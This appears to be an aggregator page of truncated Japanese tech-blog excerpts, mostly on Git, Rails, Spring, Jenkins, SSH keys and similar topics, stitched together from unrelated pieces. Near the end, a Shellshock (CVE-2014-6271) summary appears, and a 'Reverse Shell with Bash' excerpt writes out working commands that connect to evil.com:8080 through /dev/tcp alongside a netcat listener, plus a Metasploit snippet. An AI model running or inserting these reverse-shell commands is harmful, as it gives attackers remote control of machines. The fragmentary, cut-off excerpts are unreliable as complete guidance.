You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert
Githubでプロジェクトを作成する場合、 Github上でリポジトリを作成 作成したリポジトリを clone ローカルで開発 っていう流れ。 一方Railsでプロジェクトを作成する場合、 rails newでプロジェクトを作成 git initでgit環境構築 という流れでプロジェクトが別々に作成されてしまう! という疑問が出てきたのでGithubのリポジトリにrailsのプロジェクトを作る方法を説明します。 Githubでリポジトリを作成 普通に作成します。 特別なことはしません。 Railsでプロジェクトを作成 通常通り rails new project_nameで作成します。 Railsプロジェクトを作成するGitコマンド というわけでここからが本番。 GithubにRailsプロジェクトを作成するコマンドを書いていきます。 cd project_nameGitを開始 git i
以前Gitの超入門的な記事を書きました。GitとGithubの使い方~超初級編~ - nigoblog 今回はそこから一歩進んで、これぞGitというような使い方を説明していきます。 この記事を読む前に最初に上の記事を読むことをおすすめします。 ブランチとは? ブランチの作成 このような流れで説明します。 ブランチとは? 突然ですが、gitのロゴ(上部画像)の左側の図。何を示しているかわかりますか? このロゴは マスター ブランチ を表しています。 マスター、ブランチの使いどころ 例えばあるサイトに新しく新機能を追加させたいという時があります。しかし、既存のサイトになるべく手を加えないで完璧な状態で新機能をリリースしたいという状態になりがちです。リリース前ならば新機能の追加はそのままできるのに、ユーザーがたくさんいる状態ではなかなか既存のコードに手を付けられない。そういう時にブランチ機能を使
beta版の時に少し遊んだのですが、気がつけば 1.0.1.RELEASE なんてのが出ててたので改めて触って見ました。 Spring Data は Springのアプリケーションで簡単にPersistanceの機能を作るためのアレで、Spring Data JPAはそのJPAバージョンです。この他にもNoSQLの様々なプロダクトがあります。ちまたで噂の Java 9 のクラウド対応とかこういう感じのものになるのかなぁとかも妄想したり。あと、Spring Roo 1.2でもこのSpring Data JPAとの連携が新しく追加されています。 Spring Data JPA はインタフェースでリポジトリを定義します。メソッドの命名規則があったり、インタフェースで定義するあたりはs2daoに非常に似ています。 エンティティクラスは当前ですが、JPAで定義します。 @Entity public
systemProp.https.proxyHost=<プロキシホスト名> systemProp.https.proxyPort=<プロキシポート番号> systemProp.https.proxyUser=<認証ユーザ名> systemProp.https.proxyPassword=<パスワード> 上記設定を、以下のいずれかに記述する。 プロジェクトのルートに配置した gradle.properties Gradle ホームフォルダ(<ユーザのホームフォルダ>\.gradle)に配置した gradle.properties 簡単な Java プロジェクトを作る コマンドラインから実行して Hello Gradle!! と出力するだけの簡単なプロジェクトを作る。 build.gradle を作成する プロジェクトのルートフォルダに、 build.gradle という名前のテキストファイル
This document provides an overview and agenda for an AWS webinar on Amazon Elastic Container Service (ECS). The webinar will cover the basics of ECS, its main components, container execution environments, key ECS features, task definitions, and container execution. It includes introductions to the presenter and notices about pricing and content details. The target audience is those considering usi
目次 はじめに 環境構成 開発機へeclipse/JRE/Tomcatの準備 開発機へサンプルプロジェクトをダウンロード Jenkinsの準備 開発機へサンプルプロジェクトをダウンロード Jenkins Server に Jenkinsの準備 Jenkinsの初期設定 JOBの設定 ビルド後の処理追加 開発機にてPOMファイルの編集 SVNコミットする(eclipseより) Jenkins側でビルドの実行 はじめに 『Jenkins実践入門』では、Antプロジェクトのサーブレットがサンプルで解説されている。 Jenkinsでのビルドに、AntではなくMavenを使用してみたいが、残念ながら pom.xmlファイルや設定例が掲載されていなかった。 ということで、『Jenkins実践入門』で扱われている、Antプロジェクトのサーブレットサンプル「sampleproject」を基にして これをM
sprintdatajpa.md Spring DATA JPA はじめに Spring DATA JPAは、Spring Frameworkの拡張ライブラリ。springframework-jdbcシリーズか springframework-ormシリーズのようだが、安定したら本流に組み込まれるのかもしれない。 この記事の執筆時点のバージョンは SPRING DATA JPA 1.1.0 GA Spring DATA JPAは、JPAの機能をベースに 汎用的な Repositoryの機能を提供する。 ちなみに、Repositoryというのは、ドメイン駆動設計(Domain Driven Design)のパターンのひとつで、ドメインのEntityのCollectionのように振舞う責務を持つ。例えば CustomerRepositoryならば、システムに存在するCustomer Entit
Spring Data JPA でクエリーを実装する方法をざっくりまとめてみた。 JPAのクエリー実装方法 先ずはJPAのクエリー実装方法を見てみる。 JPAでは EntityManage を使用してクエリーを構築/実行するが、主な実装方法は以下の通り。 ネイティブSQL JPQL CriteriaAPI 名前付きクエリー JPAプロバイダの機能を直接使用する ネイティブSQL EntityManager#createNativeQuery(String)を使用する。 List<User> results = entityManager .createNativeQuery("select * from user where name = :name", User.class) .setParameter("name", "きい太") .getResultList();
阪本です。 最近めっきり春の陽気になってきました。 春と言えばSpring・・・ということで(-_-;)、Spring 3.2で非同期リクエスト処理がサポートされたので、触ってみました。 サポートされたのは、Servlet 3.0で追加された非同期処理(Comet)であり、WebSocketはまだ先のようです。。(Spring 4.0で実現予定) SpringでCometする方法は主に2つあります。 Callableを使用する DeferredResultを使用する どちらの方法を使う場合でも、Servlet 3.0の仕様に合わせて、web.xmlのServletとFilterに <async-supported>true</async-supported> を書く必要があります。 <servlet> <servlet-name>rootServlet</servlet-name> <se
■Javaアプリケーションの実行 外部jarの参照など、eclipseで設定するのは簡単だ。 しかし、linuxでバッチ処理として動かしたいときなどはjavaコマンドを使い、 その際は-classpathの設定をしなければならない。 Javaアプリケーションの実行の際は、依存関係のあるすべてのクラスは実行環境(JVM)から検索可能でなければならないからだ。 先日作成したTweetTestのソースを実行してみる。 これを実行するにはtwitter4Jにクラスパスが通っている必要がある。 ■javacコマンド javacコマンドはjavaプログラムのソースをコンパイルするためのコマンドである。 以下のようなオプションがある。 [-d] クラスファイルを出力するディレクトリを指定する。 デフォルトではカレントディレクトリに出力される。 [-classpath][-cp] コンパイル時に参照される
なんとなく軽量データベースを使用したくなったので、いじってみた。 使用するまでが一瞬、そして操作も簡単、組み込みも簡単と非常に手軽でした。 H2Databaseとは H2 Databaseとは、Javaプラットフォーム上で動く、ACIDリレーショナルデータベース。オープンソース。速度が速いことを特徴としている。 http://ja.wikipedia.org/wiki/H2_Database 軽量なデータベースという認識でよいのだろうか。 似たような用途だと以下のDatabaseがあるらしい。 Derby HSQLDB Berkeley DB Groovyから使用 Grapeを使用すれば簡単。 newInstanceで「mem」を指定することでメモリ上に作成しています。 ここにPATHを指定することで保存されます。 @Grapes([ @Grab(group = 'com.h2databa
ユーザー定義関数の返りをテーブル代わりに使ってみます。テーブル代わりに使う場合には、メソッドはResultSetを返すものである事が必要です。 それ以外、実装で特に難しいところはありませんが、ユーザ定義関数をテーブルとして扱うときには、少なくとも2回のメソッドの実行が発生する、ということに注意が必要です。具体的には、SQLをパースして、カラム情報を取得するとき、それと実施するときです。サンプルにもあるように、カラム情報を取得するときにはconn.getMetaData().getURL()で、返ってくる値が"jdbc:columnlist:connection"になるので、それを確認したら、とりあえずカラム情報だけ作成して、さっさとResultSetを返してしまいます。 package com.karatebancho; import java.sql.Connection; import
今更ながらのネタですが、Apache Commons FileUpload/IOの動作を調べてる際にServlet 3.0の仕様書(servlet-3_0-mrel-spec.pdf)を読む機会があり、3.0でServletがスレッドを生成することについてどう規定されているのかを確認した。 Servletからスレッドを生成するのは非推奨。だけど・・・ Servlet 3.0から非同期処理(Asynchronous Processing)がサポートされた。つまり、サーブレットからスレッドを生成する手順が正式に定義された。詳しくは@ITなどで解説されている。そのページでも述べられているが、それまではServletあるいはFilter内でスレッドを生成することは非推奨であった。 3.0でもAsynchronous Processingを使用しないServletについては変わらず、スレッドを生成す
Servlet 3.0 から非同期処理が実現できるようになったみたい。これで、非同期にサーブレット コンテナ内で管理しているオブジェクトにアクセスできる。 参考にさせていただいたのは以下のページ。 http://www.atmarkit.co.jp/ait/articles/1106/10/news116.html さっそく↑参考に実装してみた。 @WebServlet(name = "AsyncServletTest", value = "/AsyncServletTest", asyncSupported = true) public class AsyncServletTest extends HttpServlet { ( 略 ) protected void doGet(HttpServletRequest request, HttpServletResponse respons
本日、iOSアプリ「はてなブックマーク」をバージョン2.14にアップデートしました。今回のアップデートでは、iOS8で新たに追加された「App Extension」に対応しました。この機能により、Mobile Safariやその他のアプリのシェアボタンから、簡単にはてなブックマークへ記事を投稿することが出来るようになります。 本告知投稿時点では、まだiOS8がリリースされていないため利用できませんが、iOS8がリリースされましたらOSのアップデートを行って、是非本機能をご利用ください。 Mobile Safari で App Extension を有効にするには 初期状態では、はてなブックマークの App Extension が無効の状態になっていますので、下記の手順で有効にしてください。 Mobile Safariでシェアボタンをタップ App Extension対応アプリ一覧の一番右「
書籍「ソフトを他人に作らせる日本、自分で作る米国」を読んでいたところ、元日本IBMの方によるタイトルの発言が飛び出した。この業界に長くいると、仮想記憶に仮想計算機と「仮想」という訳語にはまったく違和感を感じなくなってしまったが。。。曰く、IBMがVirtual memoryを発表したとき(MVSのことかな*1)、日本IBMが仮想記憶と訳したのだそうな。『virtualは「事実上の」「実質的」という意味であり、virtual memoryは「本来のメモリーではないが事実上メモリーとして使える技術」を意味する。』 大学時代の恩師も次のように言っていた。 「仮想」という概念が、コンピュータの世界に入ったのは、19751965年のことである。MITがMULTICSという汎用大型TSSの構想を発表した。これが現在の、パソコンネットワーク時代の幕開けの狼煙であった。この中の技術に「仮想記憶」の概念が含
日立製作所は、競争力を高めるため、およそ1万1000人の管理職の社員について、年齢や勤続年数に応じて自動的に昇級する、いわゆる年功序列の制度を来月廃止し、仕事の内容に応じて給与を支給する仕組みに見直す方針を固めました。 日立製作所は、これまで管理職の社員について、給与全体の70%を年齢や勤続年数に応じたいわゆる年功序列の制度で支給し、残りの30%を仕事の内容に応じて支給してきました。 関係者によりますと、日立は年功序列の制度を来月、全面的に廃止し、給与の全額を仕事の内容に応じて支給する仕組みに見直す方針を固めました。 対象となるのは、本体の管理職の社員およそ1万1000人ですが、今後、国内外のグループ会社の管理職にも対象を順次拡大していく方針です。 日立は今回の制度の見直しで、例えば管理職になったばかりの社員でも仕事の内容次第で高い給与を得られるようにして士気を高め、競争力を高めるねらいが
コンピュータとプログラミングを愛するすべての人に捧げるアセンブラ入門。700ページ以上にわたり、40種類のアセンブラを読み説きながら、アセンブラが現役であり続ける理由を考察します。アセンブラを読みはじめるのに、CPUの仕様書や、英語力なんて必要ないのです。研究者がこだわる「わかる喜び」、エンジニアがこだわる「動く喜び」を追い求める「熱意」こそが大切です。本書を片手にオンリーワン・エンジニアを目指しましょう。 【サポートはこちら】→https://www.shuwasystem.co.jp/support/7980html/4180.html 第1部 基礎編:まずはアセンブラに慣れよう 01 まずは基本操作を覚えて,アセンブラに慣れよう! 01.01 アセンブラを見てみよう 01.01.01 3つの関数だけを見てみる 01.01.02 まずは,目的を意識して読んでみよう 01.01.03 ア
8 月中旬より,インターンとしてマウンテンビューに位置する Microsoft Research Silicon Valley (MSR SVC) に滞在して研究をしていました.期間は 3 ヶ月の予定で,11 月中旬まで居る予定でした.しかし,Microsoft の経営判断により MSR SVC の閉鎖が突然決定され,所属チームの方々を含む殆どの研究者は解雇となり,僕の滞在も突如終了になりました. このショッキングな事件は,英語のみならず日本語のニュースサイトにも取り上げられています. Microsoft to close Microsoft Research lab in Silicon Valley | ZDNet Microsoft Research closing Silicon Valley lab in latest job cuts - GeekWire http://www
日本国民はもちろん、世界中の人に愛されているドラえもん。 ドラえもんは未来から来た猫型ロボットですが、Pepperは残念ながらドラえもんほどの魅力を感じさせません。 なぜだろう?と思ったら、そういえばPepperには四次元ポケットがついてないのです。 他に人間と一緒にいるロボットといえば、例えばR2-D2とかC-3POとかが考えられますが、R2-D2は極めて高度な人工知能を持つものの人間の言葉が喋れません。C-3POは600万言語を喋ることができるがR2-D2ほど賢くはありません。 しかし戦闘で活躍するのはたいていはR2-D2で(戦艦に搭載されていたから当然かもしれませんが)、C-3POはどちらかというとたまに役に立つうっかり八兵衛という感じです。 アトムは10万馬力と飛行能力、攻撃能力を持っています。 そう。実はフィクションに登場するロボットには「人間にはできないこと」ができて初めて
当記事の内容は以下のページとほぼ同様となります。 Generating SSH Keys · GitHub Help パートナーというかクライアントの企業にgitを勧めて、2社ほどsvnから移行してもらったことのある @mon_sat です。 Githubのヘルプには有益なページが多いですが、上記のページもそのひとつですね。 最近黒い画面を使わずにgitを使う系の記事や勉強会が増えてきまして、ただ1点、秘密鍵やら公開鍵やらのところはそうはいかない場合もあるのかと思います。 というわけでSSHの公開鍵を作成しGithubに登録する手順を上記のwebページをもとに(日本語で)まとめてみました。 基本的な解説 この記事で記載の手順がなぜ必要か理解していない方のために、簡単な説明をいたします。 (理解している方は、読み飛ばしていただいて構いません) 秘密鍵・公開鍵とは 秘密鍵・公開鍵とは、鍵交換方
バージョン:7.13.5の方はこちらの記事になります。 SSH認証キーをGitLabに登録・設定手順 覚書(バージョン:7.13.5) Git・Gitlabを案件で使う頻度が多くなってきたので、整理していきたい思いましたので、設定手順をまとめていきます。 SSH認証キーをGitlabに登録するまでの手順をざっくりまとめました。 随時、更新していきたいと思います。 SSH認証の公開鍵と秘密鍵を作成 ターミナルでssh keyを作成 * アドレス@example.comの部分に自分のメアドを登録 * 途中でパスフレーズ(passphrase)を求められますが、Enterを押すだけ Generating public/private rsa key pair. Enter file in which to save the key (/home/.ssh/id_rsa): ← なにも入力せずに[
今日のテーマはGitとGithubの使い方!! Git、Githubの順に説明します。 Git Gitとは分散型のバージョン管理システムです。 次の図を元に簡単に説明します(落書き…)。 図1. gitのイメージ このようにローカルで開発したものをリモートのリポジトリに置くことによってバージョン管理を行います。 ローカルからソースコードを持ってくることもできます。 さらにgitはステージングエリアとリポジトリの段階があり、ステージングエリアにまず置いてから、リポジトリに置く。 リポジトリは本番環境みたいな認識でOKです。 また、それぞれローカルでもリポジトリを置くことができるのが分散型のメリットです。 ざっとリポジトリの作成からバージョン管理までのコマンドを説明します。 コマンドはいずれもプロジェクトのディレクトリで入力します。 リポジトリの作成 git init ステージングエリアにファ
当社はCookieを使用して、お客様が当社のWebサイトでより良い体験を得られるようにしています。引き続き閲覧する場合は、プライバシーポリシーに同意したことになります。
※2015/6/22 最新版の手順に更新 ※2015/1/7 アップグレードについての記事を書きました http://d.hatena.ne.jp/toritori0318/20150106/1420558625 ※2014/5/24 補足記事書きました http://d.hatena.ne.jp/toritori0318/20140524/1400955383 で、お決まりのパターンでOSSに流れて、 GitLabとかやってみたんだけど、むっちゃムズいのねあれ。 まともにインストールできん。 http://d.hatena.ne.jp/rela1470/20140520 「GitLab インストール」 でググるとたいていまともにインストールしようとしている記事が見つかって なにこれ使うまで面倒すぎ! ってなりますよね。かつての自分もそうでした。 しかし最近のGitLabはRPMが提供され
{ switch(e.key) { case 'k': if (e.metaKey || e.ctrlKey) { e.preventDefault() open = !open; if (open) { document.body.classList.add('overflow-hidden'); } else { document.body.classList.remove('overflow-hidden'); } } } }"> OverviewGet Docker Docker Desktop Overview Install MacUnderstand permission requirements for MacWindows Use the MSI installer Early Access OverviewInstall and configureUse IntuneF
※ こちらのテンプレートのバージョンアップ版を作りました大体いい感じになるパワーポイント用テンプレート「Azusa 2号」のワイド対応版「Azusa 2号W」を作りました 横田です。パワーポイントは苦手です。 いつもプレゼンの資料はパワーポイントで作成しているのですが、どうもテンプレートを作成がうまくいかず、毎回同じようなテンプレートを使っていました。通常のプレゼンであれば、いつものテンプレートでも良いのですが、ライトニングトークなどの場合はいつも使っているテンプレートではなく、もうすこしスッキリしたテンプレートが欲しいと思っておりました。 そんな時に見つけたのが、佐野章核さんが制作された「大体いい感じになるKeynoteテンプレート「Azusa」」、よくこのテンプレートを利用してライトニングトークをしている人を見かけたので、私も利用してみたいと思っておりました。 ※Azusaと佐野さんに
bashに脆弱性が確認されたとして騒ぎになっています。ここではCVE-2014-6271に関する情報をまとめます。 #記載内容について、誤っている、追記した方がいい等情報がございましたら@piyokangoまでご連絡お願いします。 脆弱性情報 脆弱性の愛称 ShellShock Bashbug CVE番号 Bash周りで発行されているCVEは6つ。その内詳細が不明なのが2つ。(CVE-2014-6277,CVE-2014-6278) CVE 発見者 想定脅威 特記 CVE-2014-6271 Stephane Chazelas氏 任意のコード実行 ShellShockの発端となったバグ。 CVE-2014-7169 Tavis Ormandy氏 任意のコード実行 CVE-2014-6271修正漏れによる脆弱性 CVE-2014-7186 Redhat DoS メモリ破壊(Out-of-Bo
Reverse Shell with Bash そうか、bashにはこんな機能もあったのね。使ったことないし。 ローカル(自分)側で netcatリスナーを起動。 $ nc -l -p 8080 -vvvリモート(相手)側で net redirectionを利用する。 $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; doneもっと簡単にこれでも可。 $ exec 5<>/dev/tcp/evil.com/8080; sh <&5 >&5 ちょっと調べてみたら、Metasploitでも使ってた。orz reverse_bash.rbの該当部分。 return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datas
Browse by time: December 2018 (1) December 2016 (1) December 2015 (1) January 2015 (1) September 2014 (2) July 2014 (2) April 2014 (1) February 2014 (1) January 2014 (3) December 2013 (2) September 2013 (3) June 2013 (1) May 2013 (1) April 2013 (1) March 2013 (2) February 2013 (5) やっと更新する気になった。 もくじ 0. 産業で説明 1. 理論編 2. 攻撃編 3. パッチ 4. 結論 0. 産業で説明 bashが アホで 地球がヤバイ 1. 理論編 bashの関数機能は、環境変数の中でも使える仕様になっています
WebSocketとは HTML5仕様を構成する要素の一つで一方向通信しかできなかった既存のHTML通信とは違って、 JavascriptのWebSocket APIとサーバサイドのWebSocket機能でクライアントとサーバ間の両方向通信を可能にする技術だ。 WebSocketの特徴 WebSocketは、通信ごとにHTTPコネクションを開く・閉じるのを繰り返すのではなく、 いったんHTTPコネクションを開いたら、コネクションを開いたままにしておいて、データをやりとりする。 コネクションが維持される間は、Ajaxのようにクライアントからサーバへの通信だけでなく、 サーバからクライアントに直接データを送ることもできる。 以下は、ChromeでWebSocketの公式サイトにあるデモを試したキャプチャである。 "Rock it with HTML5 WebSocket"という文字列を何回もS
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く